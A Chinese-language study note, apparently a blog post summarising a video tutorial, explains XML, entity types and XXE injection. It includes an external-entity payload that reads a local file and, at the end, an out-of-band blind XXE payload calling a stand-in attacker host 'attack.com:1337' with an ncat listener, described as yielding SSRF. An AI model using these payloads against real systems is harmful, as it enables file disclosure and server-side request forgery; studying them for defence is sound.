XXE注入学习
那天看了一个视频觉得讲的很好,但是看了两遍都只有一个大概的印象,对于其中的细节什么的还是不怎么能描述出来,所以将视频中的内容记录下来,方便细细琢磨
视频链接:https://www.bilibili.com/video/BV1at41177SA
一、xml介绍
XML(可扩展标记语言)与HTML类似,但HTML与数据表示有关,而XML更多与数据传输、存储有关。
先来看看xml文档格式:
<?xml version="1.0"?> //元数据,版本为xml解析器解析的版本 <Person> <Name>John</Name> <Age>20</Age> </Person>
<Person></Person>为根元素,有且仅有一个
需要注意的是,标签对大小写敏感,前后标签必须一致,如<read></Read>则是错误的,必须<read></read>
< ,> ," ,' , &等符号不被允许直接出现在XML文档中,因为xml解析器会搞不清这些符号是数据还是标签
<Age>20 < > & " '</Age> ×
那么这个时候就需要Entity来解决这个问题 ↓
二、Entity实体介绍
Entity(可用实体):一种简单的存储单元,好比xml的变量,可以对它进行赋值,并在xml文档的不同地方对它进行引用。
实体(Entity)在xml文档中的文档类型定义部分(DTD)被单独定义描述。
举个栗子:
1 <?xml version="1.0" ?> 2 <!DOCTYPE Person [ 3 <! ENTITY name "John"> //定义了一个存储单元,这个简单Entity名称就为name 4 ]> 5 <Person> 6 <Name>&name;</Name> 7 <Age>20</Age> 8 </Person>
2~4行代码就是通过DTD方式创建了一个ENTITY告知xml解析器这是一个DTD定义类型
Entity分为三类
①一般实体General(通用型实体)
<?xml name "pwn"?> ... <hello>&pwn;</hello>
②参数实体Parameter(必须预定在单独的DTD区域)
<!ENTITY %outer "<! ENTITY inner 'J'>">
③预定义实体Predefined(某些特殊符号的一组预定义数值集)
<hello><</hello> // <的十六进制表示
三、外部实体(Xml External Entity)
实体(Entity)有哪些用途呢?
存储指定数值;从本地文件、从远程网络中调用相关数据,作为后续实体引用
那么这就会出现问题
我们先来看看外部实体的一个实例,来帮助我们了解其工作机制
<?xml version="1.0" ?> <!DOCTYPE XXE[ <! ENTITY subscribe SYSTEM "secret.txt"> ]> <pwn>&subscribe;</pwn>
SYSTEM 关键字让xml解析器知道该实体是一个外部实体,需要xml解析器去获取 “ secret.txt ” 其中的外部资源,并把它存储到内部实体 subscribe 中
<pwn>&subscribe;</pwn> 内部实体在后续<pwn>标签中会被调用
secret.txt其中的内容才是内部实体subscibe的赋值
STSYEM “URI” 这里支持有效的URI(文件、http、ftp和其他协议形式内容)
四、外部实体注入 (XXE)
分类:
带内数据 in-band (就是我们上面举的外部实体的那个栗子)
基于错误 error-based (有点像盲注,解析结果没有其他,只有一堆报错)
带外数据 out-of-band
OOB XXE(盲注XXE)
当我们遇到这种情况时,一个web应用程序,它可以解析XML输入,但是却无任何输出响应,必须用带外请求把目标提取出来,为了测试这种盲注XXE,我们可以用非文件路径的外部实体来请求这里的web应用。
例如,在存在xxe漏洞的地方,输入以下代码
<?xml version="1.0" ?> <!DOCTYPE XXE[ <!ENTITY subscrible SYSTEM "http://attack.com:1337"> ]> <pwn>&subscrible;</pwn>
在攻击机attack.com主机上监听1337端口
ncat -lp 1337
可以看见有反应
XXE ------------------> server ---------------------->attack.com
受害端有效解析了xml,正尝试获取我们在attack.com上的资源作为实体引用,这样我们就能以受害端的身份发起请求了,这就是SSRF